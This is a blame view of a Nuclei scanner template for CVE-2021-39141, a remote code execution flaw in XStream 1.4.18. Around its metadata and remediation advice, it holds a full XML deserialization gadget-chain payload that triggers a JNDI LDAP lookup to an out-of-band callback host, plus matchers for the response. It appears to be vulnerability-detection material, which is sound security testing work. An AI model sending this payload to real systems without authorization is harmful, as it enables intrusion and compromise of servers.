daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-39141.yaml

233 lines
12 KiB
YAML
Raw Normal View History

xstream-ssrf-rce
2023-03-12 03:38:05 +00:00
id: CVE-2021-39141
info:
name -update
2023-03-25 15:55:24 +00:00
name: XStream 1.4.18 - Remote Code Execution
xstream-ssrf-rce
2023-03-12 03:38:05 +00:00
author: pwnhxl
severity: high
minor -update
2023-03-23 11:21:46 +00:00
description: |
Enhancement: cves/2021/CVE-2021-39141.yaml by md
2023-04-13 14:45:14 +00:00
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade XStream to a version that is not affected by CVE-2021-39141.
xstream-ssrf-rce
2023-03-12 03:38:05 +00:00
reference:
- http://x-stream.github.io/CVE-2021-39141.html
Auto Generated CVE annotations [Wed Mar 29 20:18:04 UTC 2023] :robot:
2023-03-29 20:18:04 +00:00
- https://x-stream.github.io/CVE-2021-39141.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2
- https://security.netapp.com/advisory/ntap-20210923-0003/
Enhancement: cves/2021/CVE-2021-39141.yaml by md
2023-04-13 14:44:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39141
Auto Generated CVE annotations [Wed Mar 29 20:18:04 UTC 2023] :robot:
2023-03-29 20:18:04 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2021-39141
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
cwe-id: CWE-434
TemplateMan Update [Thu Nov 16 10:31:48 UTC 2023] :robot:
2023-11-16 10:31:49 +00:00
epss-score: 0.25418
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot:
2024-01-29 17:11:14 +00:00
epss-percentile: 0.96265
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: xstream_project
product: xstream
tags enhancements
2023-12-05 09:50:33 +00:00
tags: cve,cve2021,xstream,deserialization,rce,xstream_project
xstream-ssrf-rce
2023-03-12 03:38:05 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
xstream-ssrf-rce
2023-03-12 03:38:05 +00:00
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://{{interactsh-url}}/#evil</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
Update CVE-2021-39141.yaml
2023-03-22 09:36:23 +00:00
minor -update
2023-03-23 11:21:46 +00:00
- type: word
part: body
words:
- "timestamp"
Update CVE-2021-39141.yaml
2023-04-05 00:43:31 +00:00
- "com.thoughtworks.xstream"
condition: or
minor -update
2023-03-23 11:21:46 +00:00
- type: word
part: header
words:
- "application/json"
Update CVE-2021-39141.yaml
2023-03-22 09:36:23 +00:00
- type: status
status:
payload & matcher - update
2023-03-29 18:40:01 +00:00
- 500
Auto Template Signing [Tue Jan 30 06:46:18 UTC 2024] :robot:
2024-01-30 06:46:18 +00:00
# digest: 4a0a00473045022100ee2804f5c77c03dfc26e9d12de292c8f7b478fcbad137042691fcdbc1ec33c380220406d482a8150b89f50d17d62b644ce6948fd37f18031f80c51d1c89fd5aa8e85:922c64590222798bb761d5b6d8e72950